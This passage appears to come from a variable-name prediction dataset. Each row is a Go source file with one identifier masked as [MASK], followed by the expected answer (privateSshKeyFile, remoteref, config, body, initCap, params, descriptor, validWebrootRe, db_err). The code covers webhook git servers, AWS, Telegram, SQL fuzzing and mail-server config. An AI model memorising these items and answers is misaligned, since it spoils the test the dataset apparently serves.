""gopkg.in/src-d/go-git.v4/plumbing/transport/http"" ""gopkg.in/src-d/go-git.v4/plumbing/transport/ssh"" ""io/ioutil"" ""log"" ""net/http"" ""os"" ) var hook *gitlab.Webhook func init() { loadConfig("""") hook, _ = gitlab.New() } func main() { http.HandleFunc(""/api"", trigger) port := config.Get(""ServiceSettings"", ""ListenAddress"").String("":9000"") http.ListenAndServe(port, nil) } func trigger(w http.ResponseWriter, r *http.Request) { payload, err := hook.Parse(r, gitlab.PushEvents) if err != nil { if err == gitlab.ErrEventNotFound { log.Fatal(err) } } switch payload.(type) { case gitlab.PushEventPayload: push := payload.(gitlab.PushEventPayload) printInfo("""", ""================================================"") printInfo(""RepositoryName"", push.Repository.Name) printInfo(""RepositoryURL"", push.Repository.URL) path := config.Get(""Repositories"", push.Repository.Name).String("""") pullCode(path) default: fmt.Printf(""unknown payload:%+v\n"", payload) } } func pullCode(path string) { if path == """" { log.Print(""path is not exists"") return } r, err := git.PlainOpen(path) if err != nil { log.Print(err) return } w, err := r.Worktree() if err != nil { log.Print(err) return } err = w.Pull(&git.PullOptions{ RemoteName: ""origin"", Auth: &gitHTTP.BasicAuth{ Username: config.Get(""Git"", ""Username"").String(""""), Password: config.Get(""Git"", ""Password"").String(""""), }, Progress: os.Stdout, }) if err != nil { log.Print(err) return } ref, err := r.Head() if err != nil { log.Print(err) return } commit, err := r.CommitObject(ref.Hash()) if err != nil { log.Print(err) return } fmt.Println(commit) } func getSSHKeyAuth( [MASK] string) transport.AuthMethod { var auth transport.AuthMethod sshKey, _ := ioutil.ReadFile( [MASK] ) signer, _ := cryptoSSH.ParsePrivateKey([]byte(sshKey)) auth = &ssh.PublicKeys{User: ""git"", Signer: signer} return auth } func loadConfig(path string) { if path == """" { path = ""config.json"" } err := config.LoadFile(path) if err != nil { panic(err) } } func printInfo(tag string, value interface{}) { if tag == """" { fmt.Printf(""%v\n"", value) } else { fmt.Printf(""%-18s %v\n"", tag+"":"", value) } } ",privateSshKeyFile 211,"package main import ( ""bytes"" ""encoding/json"" ""flag"" ""fmt"" ""io/ioutil"" ""log"" ""net/http"" ""os"" ""os/exec"" ""sort"" ""strings"" ""sync"" ""github.com/BurntSushi/toml"" git ""github.com/go-git/go-git/v5"" ""github.com/go-git/go-git/v5/plumbing"" ""github.com/go-git/go-git/v5/plumbing/object"" errs ""github.com/zeebo/errs/v2"" ) var ( configPath = flag.String(""config"", """", ""path to config file"") ) func main() { flag.Parse() err := Main() if err != nil { fmt.Fprintln(os.Stderr, err.Error()) os.Exit(1) } } type Repo struct { Webhook string Path string Remotes []string Branches []string BranchRenames []string Tags bool } type CommitList []*object.Commit func (l CommitList) Len() int { return len(l) } func (l CommitList) Swap(i, j int) { l[i], l[j] = l[j], l[i] } func (l CommitList) Less(i, j int) bool { return l[i].Committer.When.Before(l[j].Committer.When) } func cmdRun(cmd *exec.Cmd) error { out, err := cmd.CombinedOutput() if err == nil { return nil } return errs.Errorf(""execution: %v:\n%v"", err, string(out)) } func gitFetch(repoPath string, repo *git.Repository, remote string) error { cmd := exec.Command(""git"", ""fetch"", ""-p"", remote, ""--tags"") cmd.Dir = repoPath return cmdRun(cmd) } func gitPush(repoPath string, repo *git.Repository, remote, localref, [MASK] string) error { cmd := exec.Command(""git"", ""push"", remote, fmt.Sprintf(""%s:%s"", localref, [MASK] )) cmd.Dir = repoPath return cmdRun(cmd) } func IdentifyLatest(repo *git.Repository, refs map[string]*plumbing.Hash) (*object.Commit, error) { commitSeen := make(map[plumbing.Hash]bool) commits := make(CommitList, 0, len(refs)) for _, hash := range refs { if commitSeen[*hash] { continue } commit, err := repo.CommitObject(*hash) if err != nil { return nil, errs.Wrap(err) } commitSeen[*hash] = true commits = append(commits, commit) } // reduce cpu work by guessing the latest commits first sort.Sort(commits) for _, testCommit := range commits { is, err := IsDescendent(testCommit, commits) if err != nil { return nil, errs.Wrap(err) } if is { return testCommit, nil } } return nil, fmt.Errorf(""cannot find shared descendent, history has forked"") } func IsDescendent(commit *object.Commit, potentials []*object.Commit) ( bool, error) { potentialmap := make(map[plumbing.Hash]bool, len(potentials)) for _, potential := range potentials { potentialmap[potential.Hash] = true } commitSeen := map[plumbing.Hash]bool{commit.Hash: true} ancestorStack := []*object.Commit{commit} for { if len(potentialmap) == 0 { return true, nil } if len(ancestorStack) == 0 { return false, nil } next := ancestorStack[len(ancestorStack)-1] ancestorStack = ancestorStack[:len(ancestorStack)-1] delete(potentialmap, next.Hash) err := next.Parents().ForEach(func(c *object.Commit) error { if !commitSeen[c.Hash] { ancestorStack = append(ancestorStack, c) commitSeen[c.Hash] = true } return nil }) if err != nil { return false, err } } } func (r *Repo) branchByRemote(remote, branch string) string { for _, rename := range r.BranchRenames { parts := strings.Split(rename, "":"") if len(parts) != 3 { continue } if remote == parts[0] && branch == parts[1] { return parts[2] } } return branch } func (r *Repo) SyncBranch(repoPath string, repo *git.Repository, branch string) error { refs := make(map[string]*plumbing.Hash, len(r.Remotes)) for _, remote := range r.Remotes { hash, err := repo.ResolveRevision(plumbing.Revision( fmt.Sprintf(""refs/remotes/%s/%s"", remote, r.branchByRemote(remote, branch)))) if err != nil { return errs.Wrap(err) } refs[remote] = hash } latest, err := IdentifyLatest(repo, refs) if err != nil { return errs.Errorf(""problem syncing branch %v: %v"", branch, err) } for remote, hash := range refs { if latest.Hash == *hash { continue } remoteBranch := r.branchByRemote(remote, branch) log.Printf(""updating %v/%s to %v"", remote, remoteBranch, latest.Hash.String()) err = gitPush(repoPath, repo, remote, latest.Hash.String(), ""refs/heads/""+remoteBranch) if err != nil { return errs.Wrap(err) } } return nil } func (r *Repo) FetchAll(repoPath string, repo *git.Repository) error { for _, remote := range r.Remotes { err := gitFetch(repoPath, repo, remote) if err != nil { return errs.Wrap(err) } } return nil } func (r *Repo) SyncTags(repoPath string, repo *git.Repository) error { unionTags := make(map[string]struct{}) allTags := make(map[string]map[string]struct{}) for _, remote := range r.Remotes { tagSet := make(map[string]struct{}) allTags[remote] = tagSet rem, err := repo.Remote(remote) if err != nil { return errs.Wrap(err) } refs, err := rem.List(&git.ListOptions{}) if err != nil { return errs.Wrap(err) } for _, ref := range refs { if ref.Name().IsTag() { tagSet[ref.Name().String()] = struct{}{} unionTags[ref.Name().String()] = struct{}{} } } } for _, remote := range r.Remotes { for tag := range unionTags { if _, ok := allTags[remote][tag]; ok { continue } if err := r.SyncTag(repoPath, repo, remote, tag); err != nil { return errs.Wrap(err) } } } return nil } func (r *Repo) SyncTag(repoPath string, repo *git.Repository, remote, tag string) error { hash, err := repo.ResolveRevision(plumbing.Revision(tag)) if err != nil { return errs.Wrap(err) } log.Printf(""pushing %s (%v) to %s"", tag, hash, remote) err = gitPush(repoPath, repo, remote, tag, tag) if err != nil { return errs.Wrap(err) } return nil } func (r *Repo) FetchAndSync() error { repo, err := git.PlainOpen(r.Path) if err != nil { return errs.Wrap(err) } err = r.FetchAll(r.Path, repo) if err != nil { return errs.Wrap(err) } if r.Tags { err := r.SyncTags(r.Path, repo) if err != nil { return errs.Wrap(err) } } for _, branch := range r.Branches { err := r.SyncBranch(r.Path, repo, branch) if err != nil { return errs.Wrap(err) } } return nil } func Main() error { if *configPath == """" { return errs.Errorf(""--config option expected"") } var config struct { Addr string SlackURL string Repo []Repo } _, err := toml.DecodeFile(*configPath, &config) if err != nil { return errs.Errorf(""failed parsing config: %w"", err) } var slack *Slack if config.SlackURL != """" { slack = NewSlack(config.SlackURL) } log.Printf(""listening on %v"", config.Addr) return http.ListenAndServe(config.Addr, NewHandler(config.Repo, slack)) } type Handler struct { repos map[string]Repo mtxs map[string]*sync.Mutex slack *Slack } func NewHandler(repos []Repo, slack *Slack) *Handler { h := &Handler{ repos: make(map[string]Repo, len(repos)), mtxs: make(map[string]*sync.Mutex, len(repos)), slack: slack, } for _, repo := range repos { h.repos[repo.Webhook] = repo h.mtxs[repo.Webhook] = &sync.Mutex{} } return h } func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { repo, found := h.repos[r.URL.Path] if !found { log.Printf(""no handler found for %q"", r.URL.Path) http.NotFound(w, r) return } log.Printf(""found handler for %v"", repo.Webhook) h.mtxs[r.URL.Path].Lock() defer h.mtxs[r.URL.Path].Unlock() err := repo.FetchAndSync() if err != nil { msg := fmt.Sprintf(""failed syncing %v: %+v"", repo.Webhook, err) log.Println(msg) if h.slack != nil { err = h.slack.Message(msg) if err != nil { log.Printf(""failed to alert slack: %v"", err) } } http.Error(w, msg, http.StatusInternalServerError) return } log.Printf(""successfully synced"") _, _ = w.Write([]byte(""success\n"")) } type Slack struct { webhook string } func NewSlack(webhook string) *Slack { return &Slack{webhook: webhook} } func (s *Slack) Message(msg string) error { type body struct { Text string `json:""text""` } data, err := json.Marshal(body{Text: msg}) if err != nil { return err } req, err := http.NewRequest(http.MethodPost, s.webhook, bytes.NewReader(data)) if err != nil { return err } req.Header.Add(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf(""unexpected response from slack: %v"", resp.Status) } data, err = ioutil.ReadAll(resp.Body) if err != nil { return err } if string(data) != ""ok"" { return fmt.Errorf(""unexpected response from slack: %v"", string(data)) } return nil } ",remoteref 212,"// pkg/cloudts/aws_utils.go package cloudts import ( ""fmt"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/credentials"" ""github.com/aws/aws-sdk-go/aws/session"" ) type S3Config struct { Bucket string `yaml:""bucket""` Region string `yaml:""region""` AccessKey string `yaml:""access_key""` SecretKey string `yaml:""secret_key""` SessionToken string `yaml:""session_token""` Endpoint string `yaml:""endpoint""` // 可选,用于兼容其他S3兼容存储 } func newAWSSession( [MASK] S3Config) *session.Session { awsConfig := &aws.Config{ Region: aws.String( [MASK] .Region), Endpoint: aws.String( [MASK] .Endpoint), S3ForcePathStyle: aws.Bool( [MASK] .Endpoint != """"), // 如果使用自定义Endpoint,强制路径样式 } // 如果有明确的访问凭证,使用它们 if [MASK] .AccessKey != """" && [MASK] .SecretKey != """" { awsConfig.Credentials = credentials.NewStaticCredentials( [MASK] .AccessKey, [MASK] .SecretKey, [MASK] .SessionToken, ) } sess, err := session.NewSession(awsConfig) if err != nil { panic(fmt.Sprintf(""failed to create AWS session: %v"", err)) } return sess } ",config 213,"package api import ( ""encoding/json"" ""fmt"" tgbotapi ""github.com/go-telegram-bot-api/telegram-bot-api"" ""github.com/margostino/climateline-processor/bot"" ""github.com/margostino/climateline-processor/security"" ""io/ioutil"" ""log"" ""net/http"" ) type Response struct { Msg string `json:""text""` ChatID int64 `json:""chat_id""` Method string `json:""method""` } var botApi *tgbotapi.BotAPI func Bot(w http.ResponseWriter, r *http.Request) { var reply string log.Printf(""Method: %s ""+ ""Proto: %s ""+ ""User-Agent: %s, ""+ ""Host: %s, ""+ ""RequestURI: %s, ""+ ""RemoteAddr: %s"", r.Method, r.Proto, r.Header.Get(""User-Agent""), r.Host, r.RequestURI, r.RemoteAddr) [MASK] , _ := ioutil.ReadAll(r.Body) var update tgbotapi.Update if err := json.Unmarshal( [MASK] , &update); err != nil { log.Fatal(""Error updating →"", err) } log.Printf(""[%s@%d] %s - reply: %t"", update.Message.From.UserName, update.Message.Chat.ID, update.Message.Text, update.Message.ReplyToMessage != nil) if security.IsAdmin(r) { w.Header().Add(""Content-Type"", ""application/json"") if bot.IsValidInput(update.Message) { reply = bot.Reply(update.Message) } else if ""/start"" == update.Message.Text { reply = ""🌎 Welcome!"" } else { reply = ""Input is not valid"" } } else { w.WriteHeader(http.StatusUnauthorized) reply = ""Unauthorized to handle Bot communication"" } data := Response{ Msg: reply, Method: ""sendMessage"", ChatID: update.Message.Chat.ID, } message, _ := json.Marshal(data) log.Printf(""Response %s"", string(message)) fmt.Fprintf(w, string(message)) } ",body 214,"/* For license and copyright information please see the LEGAL file in the code repository */ package queue import ( adt_p ""memar/adt/protocol"" ""memar/protocol"" ) // Concurrent safe type Queue struct { // queue []ringBuf head *ringBuf tail *ringBuf totalLen adt_p.NumberOfElement totalCap adt_p.NumberOfElement } //memar:impl memar/protocol.ObjectLifeCycle func (q *Queue) Init( [MASK] adt_p.NumberOfElement) (err protocol.Error) { q.totalCap = [MASK] // TODO::: return } func (q *Queue) Reinit() (err protocol.Error) { // TODO::: return } func (q *Queue) Deinit() (err protocol.Error) { // TODO::: return } func (q *Queue) Full() bool { return false } func (q *Queue) Read(b []byte) (n int, err protocol.Error) { return } func (q *Queue) Write(b []byte) (n int, err protocol.Error) { var lenB = len(b) if q.head.ln == 0 { q.head.data = make([]byte, lenB) copy(q.head.data, b) } else { var rb = ringBuf{ data: make([]byte, lenB), ln: lenB, } copy(rb.data, b) q.head.next = &rb q.tail = &rb } return } func (q *Queue) WriteIn(b []byte, at uint32) (n int, err protocol.Error) { // TODO::: return } // ----------/- type ringBuf struct { data []byte offset int ln int next *ringBuf } ",initCap 215,"// Copyright 2014 . All rights reserved. package main import ( ""bufio"" ""html/template"" ""net/http"" ""net/url"" ""os"" ""os/exec"" ""os/user"" ""path"" ""path/filepath"" ""regexp"" ""runtime"" ""strconv"" ""strings"" ) // Page represents a single page in the wiki. type Page struct { Title string Query string Matches []string Min int Max int Count int } func createPage(pattern string, min, max int) *Page { matches, count := getMatches(pattern, min, max) page := Page{ Title: ""wordsearcher"", Query: pattern, Matches: matches, Min: min, Max: max, Count: count} return &page } func getMatches(query string, min, max int) (matches []string, count int) { if query == """" { query = "".*"" } pattern := regexp.MustCompile(query) for _, word := range words { if min > 0 && len(word) < min { continue } if max > 0 && len(word) > max { continue } if pattern.MatchString(word) { matches = append(matches, word) } } return matches, len(matches) } // viewHandler prepares the page to be rendered by passing it through the // markdown and wikiMarkup filters. func searchHandler(w http.ResponseWriter, r *http.Request, [MASK] url.Values) { var query string var min int var max int var err error if _, exists := [MASK] [""query""]; !exists { query = """" } else { query = [MASK] [""query""][0] } if _, exists := [MASK] [""min""]; !exists { min = 0 } else { min, err = strconv.Atoi( [MASK] [""min""][0]) if err != nil { panic(err) } } if _, exists := [MASK] [""max""]; !exists { max = 0 } else { max, err = strconv.Atoi( [MASK] [""max""][0]) if err != nil { panic(err) } } p := createPage(query, min, max) renderTemplate(w, ""view"", p) } // Parse the templates. var templateDir string = ""templates"" var templateFiles []string = []string{filepath.Join(templateDir, ""view.html"")} var templates = template.Must(template.ParseFiles(templateFiles...)) // renderTemplate takes the renders the html for the given template. func renderTemplate(w http.ResponseWriter, tmpl string, p *Page) { err := templates.ExecuteTemplate(w, tmpl+"".html"", p) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } } func makeHandler(fn func(http.ResponseWriter, *http.Request, url.Values)) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { fn(w, r, r.URL.Query()) } } // readLines reads a whole file into memory // and returns a slice of its lines. func readLines(path string) ([]string, error) { file, err := os.Open(path) if err != nil { return nil, err } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { lines = append(lines, scanner.Text()) } return lines, scanner.Err() } var words []string func init() { currentUser, err := user.Current() if err != nil { panic(err) } dictionary := path.Join(currentUser.HomeDir, ""words"") dict, err := readLines(dictionary) if err != nil { panic(err) } var wordMap map[string]bool = make(map[string]bool) for _, line := range dict { word := strings.Trim(line, ""\n"") if strings.IndexAny(word, ""'ABCDEFGHIJKLMNOPQRSTUVWXYZ"") >= 0 { continue } if _, exists := wordMap[word]; !exists { wordMap[word] = true words = append(words, word) } } } func main() { var server = ""localhost:8080"" // open the default browser to the view/Home endpoint. var browser *exec.Cmd var url string = ""http://"" + server + ""/"" switch runtime.GOOS { case ""windows"": browser = exec.Command(`C:\Windows\System32\rundll32.exe`, ""url.dll,FileProtocolHandler"", url) case ""darwin"": browser = exec.Command(""open"", url) default: browser = exec.Command(""xdg-open"", url) } if err := browser.Start(); err != nil { panic(err) } // register the handlers and start the server. http.HandleFunc(""/"", makeHandler(searchHandler)) http.HandleFunc(""/search"", makeHandler(searchHandler)) http.ListenAndServe(server, nil) } ",params 216,"package mysql import ( ""database/sql"" ""fmt"" ""strings"" ""github.com/PumpkinSeed/sqlfuzz/drivers/types"" ""github.com/PumpkinSeed/sqlfuzz/drivers/utils"" ) const ( MySQLDescribeTemplate = `select column_name, data_type, character_maximum_length, column_default, is_nullable,numeric_precision,numeric_scale,extra,column_key from INFORMATION_SCHEMA.COLUMNS where table_name = '%s'` MySQLDescribeTableQuery = ""SHOW TABLES;"" mysqlFKQuery = `SELECT CONSTRAINT_NAME,TABLE_NAME,COLUMN_NAME,REFERENCED_TABLE_NAME,REFERENCED_COLUMN_NAME from INFORMATION_SCHEMA.KEY_COLUMN_USAGE where REFERENCED_TABLE_NAME <> 'NULL' and REFERENCED_COLUMN_NAME <> 'NULL' and TABLE_NAME = '%s'` ) var ( mySQLNameToTestCase = map[string]types.TestCase{ ""single"": { TableToCreateQueryMap: map[string]string{utils.DefaultTableCreateQueryKey: `CREATE TABLE %s ( id INT(6) UNSIGNED, firstname VARCHAR(30), lastname VARCHAR(30), email VARCHAR(50), reg_date TIMESTAMP )`}, TableCreationOrder: nil, }, ""multi"": { TableToCreateQueryMap: map[string]string{ ""t_currency"": ""CREATE TABLE IF NOT EXISTS t_currency ( id int not null,shortcut char (3) not null,PRIMARY KEY (id));"", ""t_location"": ""CREATE TABLE IF NOT EXISTS t_location ( id int not null,location_name text not null,PRIMARY KEY (id));"", ""t_product"": `CREATE TABLE IF NOT EXISTS t_product( id int not null,name text not null,currency_id int, PRIMARY KEY (id), FOREIGN KEY (currency_id) REFERENCES t_currency(id));`, ""t_product_desc"": `CREATE TABLE IF NOT EXISTS t_product_desc (id int not null,product_id int , description text not null, PRIMARY KEY (id), FOREIGN KEY (product_id) REFERENCES t_currency(id) );`, ""t_product_stock"": `CREATE TABLE IF NOT EXISTS t_product_stock(product_id int, location_id int, amount numeric not null, FOREIGN KEY (product_id) REFERENCES t_currency(id),FOREIGN KEY(location_id) REFERENCES t_location(id));`, }, TableCreationOrder: []string{""t_currency"", ""t_location"", ""t_product"", ""t_product_desc"", ""t_product_stock""}, }, } ) // MySQL implementation of the Driver type MySQL struct { f types.Flags } func New(f types.Flags) MySQL { return MySQL{f: f} } func (m MySQL) ShowTables(db *sql.DB) ([]string, error) { results, err := db.Query(MySQLDescribeTableQuery) if err != nil { return nil, err } defer results.Close() var tables []string for results.Next() { var table string if err := results.Scan(&table); err != nil { return nil, err } tables = append(tables, table) } return tables, nil } // Connection returns the specific connection string func (m MySQL) Connection() string { return fmt.Sprintf(""%s:%s@tcp(%s:%s)/%s"", m.f.Username, m.f.Password, m.f.Host, m.f.Port, m.f.Database) } // Driver returns the name of the driver func (m MySQL) Driver() string { return m.f.Driver } // Insert inserts the data into func (m MySQL) Insert(fields []string, table string) string { var template = ""INSERT INTO %s(`%s`) VALUES(%s)"" return fmt.Sprintf(template, table, strings.Join(fields, ""`,`""), questionMarks(len(fields))) } // MapField returns the actual fields //nolint:gocognit,cyclop func (m MySQL) MapField( [MASK] types.FieldDescriptor) types.Field { field := strings.ToLower( [MASK] .Type) // String types if strings.HasPrefix(field, ""varchar"") { return types.Field{Type: types.String, Length: int16( [MASK] .Length.Int)} } if strings.HasPrefix(field, ""char"") { return types.Field{Type: types.String, Length: int16( [MASK] .Length.Int)} } if strings.HasPrefix(field, ""varbinary"") { return types.Field{Type: types.String, Length: int16( [MASK] .Length.Int)} } if strings.HasPrefix(field, ""binary"") { return types.Field{Type: types.String, Length: int16( [MASK] .Length.Int)} } // Numeric types if strings.HasPrefix(field, ""tinyint"") { return types.Field{Type: types.Bool, Length: -1} } if strings.HasPrefix(field, ""smallint"") { return types.Field{Type: types.Int16, Length: -1} } if strings.HasPrefix(field, ""mediumint"") { return types.Field{Type: types.Int16, Length: -1} } if strings.HasPrefix(field, ""int"") || strings.HasPrefix(field, ""bigint"") { return types.Field{Type: types.Int32, Length: -1} } // Float types if strings.HasPrefix(field, ""decimal"") { return types.Field{Type: types.Float, Length: int16( [MASK] .Length.Int)} } if strings.HasPrefix(field, ""float"") { return types.Field{Type: types.Float, Length: int16( [MASK] .Length.Int)} } if strings.HasPrefix(field, ""double"") { return types.Field{Type: types.Float, Length: int16( [MASK] .Length.Int)} } // Blob if strings.HasPrefix(field, ""blob"") || strings.HasPrefix(field, ""tinyblob"") || strings.HasPrefix(field, ""mediumblob"") || strings.HasPrefix(field, ""longblob"") { return types.Field{Type: types.Blob, Length: -1} } // Text if strings.HasPrefix(field, ""text"") || strings.HasPrefix(field, ""tinytext"") || strings.HasPrefix(field, ""mediumtext"") || strings.HasPrefix(field, ""longtext"") { return types.Field{Type: types.Text, Length: -1} } // Json if strings.HasPrefix(field, ""json"") { return types.Field{Type: types.Json, Length: -1} } // Year if strings.HasPrefix(field, ""year"") { return types.Field{Type: types.Year, Length: 4} } // Time // Date // Timestamp // Datetime if strings.HasPrefix(field, ""datetime"") || strings.HasPrefix(field, ""date"") || strings.HasPrefix(field, ""timestamp"") || strings.HasPrefix(field, ""time"") { return types.Field{Type: types.Time, Length: -1} } // Enum // TODO deal with enums if strings.HasPrefix(field, ""enum"") { f := strings.ReplaceAll(field, ""enum("", """") f = strings.ReplaceAll(f, "")"", """") f = strings.ReplaceAll(f, ""'"", """") f = strings.ReplaceAll(f, "" "", """") return types.Field{Type: types.Enum, Length: -1, Enum: strings.Split(f, "","")} } return types.Field{Type: types.Unknown, Length: -1} } func (MySQL) Describe(table string, db *sql.DB) ([]types.FieldDescriptor, error) { describeQuery := fmt.Sprintf(MySQLDescribeTemplate, table) results, err := db.Query(describeQuery) if err != nil { return nil, err } fkRows, err := db.Query(fmt.Sprintf(mysqlFKQuery, strings.ToLower(table))) if err != nil { return nil, err } return parseMySQLFields(results, fkRows) } func (m MySQL) MultiDescribe(tables []string, db *sql.DB) (tableToDescriptorMap map[string][]types.FieldDescriptor, insertionOrder []string, err error) { processedTables := make(map[string]struct{}) tableToDescriptorMap = make(map[string][]types.FieldDescriptor) for { newTableToDescriptorMap, newlyReferencedTables, err := utils.MultiDescribeHelper(tables, processedTables, db, m) if err != nil { return nil, nil, err } for key, val := range newTableToDescriptorMap { tableToDescriptorMap[key] = val } if len(newlyReferencedTables) == 0 { break } tables = newlyReferencedTables } insertionOrder, err = utils.GetInsertionOrder(tableToDescriptorMap) if err != nil { return nil, nil, err } return tableToDescriptorMap, insertionOrder, nil } func (MySQL) GetLatestColumnValue(table, column string, db *sql.DB) (interface{}, error) { query := fmt.Sprintf(""select %v from %v order by %v desc limit 1"", column, table, column) rows, err := db.Query(query) if err != nil { return nil, err } var val interface{} for rows.Next() { if err := rows.Scan(&val); err != nil { return nil, err } } return val, nil } // TestTable only for test purposes func (m MySQL) TestTable(db *sql.DB, testCase, table string) error { return utils.TestTable(db, testCase, table, m) } func (MySQL) GetTestCase(name string) (types.TestCase, error) { if val, ok := mySQLNameToTestCase[name]; ok { return val, nil } return types.TestCase{}, fmt.Errorf(""mysql: Error getting testcase with name %v"", name) } func parseMySQLFields(results, fkRows *sql.Rows) ([]types.FieldDescriptor, error) { var fields []types.FieldDescriptor columnToFKMap := make(map[string]types.FKDescriptor) for fkRows.Next() { var fk types.FKDescriptor err := fkRows.Scan(&fk.ConstraintName, &fk.TableName, &fk.ColumnName, &fk.ForeignTableName, &fk.ForeignColumnName) if err != nil { return nil, err } columnToFKMap[fk.ColumnName] = fk } for results.Next() { var field types.FieldDescriptor // results.Scan(&d.Field, &d.Type, &d.Null, &d.Key, &d.Default, &d.Extra) // column_name, data_type, character_maximum_length, column_default, is_nullable,numeric_precision,numeric_scale,extra,column_key err := results.Scan(&field.Field, &field.Type, &field.Length, &field.Default, &field.Null, &field.Precision, &field.Scale, &field.Extra, &field.Key) if err != nil { return nil, err } if val, ok := columnToFKMap[field.Field]; ok { field.ForeignKeyDescriptor = &val } fields = append(fields, field) } return fields, nil } func questionMarks(n int) string { var q []string for i := 0; i < n; i++ { q = append(q, ""?"") } return strings.Join(q, "","") } ",descriptor 217,"// Copyright 2023 , Sankar-2006. All rights reserved. // Use of this source code is governed by a Apache-2.0 License // license that can be found in the LICENSE file package config import ( ""errors"" ""fmt"" ""os"" ""path"" ""path/filepath"" ""regexp"" ""strings"" ""github.com/mattn/go-shellwords"" ""github.com/tg123/go-htpasswd"" ) /** * @brief: Default Config Values For This Whole Project. */ var ( SMTPListen = ""0.0.0.0:1025"" HTTPListen = ""0.0.0.0:8025"" DataFile string MaxMessages = 500 UseMessageDates bool VerboseLogging = false QuietLogging = false NoLogging = false UITLSCert string UITLSKey string UIAuthFile string UIAuth *htpasswd.File Webroot = ""/"" SMTPTLSCert string SMTPTLSKey string SMTPAuthFile string SMTPAuth *htpasswd.File SMTPAuthAllowInsecure bool SMTPAuthAcceptAny bool SMTPCLITags string TagRegexp = regexp.MustCompile(`^([a-zA-Z0-9\-\ \_]){3,}$`) SMTPTags []Tag ContentSecurityPolicy = ""default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; frame-src 'self'; img-src * data: blob:; font-src 'self' data:; media-src 'self'; connect-src 'self' ws: wss:; object-src 'none'; base-uri 'self';"" Version = ""dev"" Repo = ""krishpranav/Mailtrix"" RepoBinaryName = ""mailtrix"" ) /** * @brief: Tag Struct */ type Tag struct { Tag string Match string } /** * @brief: Verify maildb Struct */ func VerifyConfig() error { if DataFile != """" && isDir(DataFile) { DataFile = filepath.Join(DataFile, ""mailtrix.db"") } re := regexp.MustCompile(`^[a-zA-Z0-9\.\-]{3,}:\d{2,}$`) if !re.MatchString(SMTPListen) { return errors.New(""SMTP bind should be in the format of :"") } if !re.MatchString(HTTPListen) { return errors.New(""HTTP bind should be in the format of :"") } if UIAuthFile != """" { if !isFile(UIAuthFile) { return fmt.Errorf(""HTTP password file not found: %s"", UIAuthFile) } a, err := htpasswd.New(UIAuthFile, htpasswd.DefaultSystems, nil) if err != nil { return err } UIAuth = a } if UITLSCert != """" && UITLSKey == """" || UITLSCert == """" && UITLSKey != """" { return errors.New(""You must provide both a UI TLS certificate and a key"") } if UITLSCert != """" { if !isFile(UITLSCert) { return fmt.Errorf(""TLS certificate not found: %s"", UITLSCert) } if !isFile(UITLSKey) { return fmt.Errorf(""TLS key not found: %s"", UITLSKey) } } if SMTPTLSCert != """" && SMTPTLSKey == """" || SMTPTLSCert == """" && SMTPTLSKey != """" { return errors.New(""You must provide both an SMTP TLS certificate and a key"") } if SMTPTLSCert != """" { if !isFile(SMTPTLSCert) { return fmt.Errorf(""SMTP TLS certificate not found: %s"", SMTPTLSCert) } if !isFile(SMTPTLSKey) { return fmt.Errorf(""SMTP TLS key not found: %s"", SMTPTLSKey) } } if SMTPAuthFile != """" { if !isFile(SMTPAuthFile) { return fmt.Errorf(""SMTP password file not found: %s"", SMTPAuthFile) } if SMTPAuthAcceptAny { return errors.New(""SMTP authentication can either use --smtp-auth-file or --smtp-auth-accept-any"") } a, err := htpasswd.New(SMTPAuthFile, htpasswd.DefaultSystems, nil) if err != nil { return err } SMTPAuth = a } if SMTPTLSCert == """" && (SMTPAuthFile != """" || SMTPAuthAcceptAny) && !SMTPAuthAllowInsecure { return errors.New(""SMTP authentication requires TLS encryption, run with `--smtp-auth-allow-insecure` to allow insecure authentication"") } [MASK] := regexp.MustCompile(`[^0-9a-zA-Z\/\-\_\.]`) if [MASK] .MatchString(Webroot) { return fmt.Errorf(""Invalid characters in Webroot (%s). Valid chars include: [a-z A-Z 0-9 _ . - /]"", Webroot) } s := strings.TrimRight(path.Join(""/"", Webroot, ""/""), ""/"") + ""/"" Webroot = s SMTPTags = []Tag{} p := shellwords.NewParser() if SMTPCLITags != """" { args, err := p.Parse(SMTPCLITags) if err != nil { return fmt.Errorf(""Error parsing tags (%s)"", err) } for _, a := range args { t := strings.Split(a, ""="") if len(t) > 1 { tag := strings.TrimSpace(t[0]) if !TagRegexp.MatchString(tag) || len(tag) == 0 { return fmt.Errorf(""Invalid tag (%s) - can only contain spaces, letters, numbers, - & _"", tag) } match := strings.TrimSpace(strings.ToLower(strings.Join(t[1:], ""=""))) if len(match) == 0 { return fmt.Errorf(""Invalid tag match (%s) - no search detected"", tag) } SMTPTags = append(SMTPTags, Tag{Tag: tag, Match: match}) } else { return fmt.Errorf(""Error parsing tags (%s)"", a) } } } return nil } func isFile(path string) bool { info, err := os.Stat(path) if os.IsNotExist(err) || !info.Mode().IsRegular() { return false } return true } func isDir(path string) bool { info, err := os.Stat(path) if os.IsNotExist(err) || !info.IsDir() { return false } return true } ",validWebrootRe 218,"package main import ( ""lifehon_habits/graph"" ""lifehon_habits/hapi"" ""log"" ""net/http"" ""os"" ""github.com/99designs/gqlgen/graphql/handler"" ""github.com/99designs/gqlgen/graphql/playground"" ""github.com/go-chi/chi/v5"" ""github.com/jmoiron/sqlx"" ""github.com/joho/godotenv"" _ ""github.com/lib/pq"" ) const defaultPort = ""8080"" func main() { err := godotenv.Load() if err != nil { panic(""Cannot load .env"") } dsn := os.Getenv(""DATABASE_URL"") db, [MASK] := sqlx.Connect(""postgres"", dsn) if [MASK] != nil { log.Printf(""%s"", [MASK] ) panic(""Cannot connect to database"") } defer db.Close() port := os.Getenv(""PORT"") if port == """" { port = defaultPort } ctx := &hapi.Context{Db: db} router := chi.NewRouter() router.Use(graph.Middleware(ctx)) srv := handler.NewDefaultServer(graph.NewExecutableSchema(graph.Config{Resolvers: &graph.Resolver{DB: db}})) router.Handle(""/"", playground.Handler(""GraphQL playground"", ""/query"")) router.Handle(""/query"", srv) log.Printf(""connect to http://localhost:%s/ for GraphQL playground"", port) log.Fatal(http.ListenAndServe("":""+port, nil)) } ",db_err 219,"package main import ( 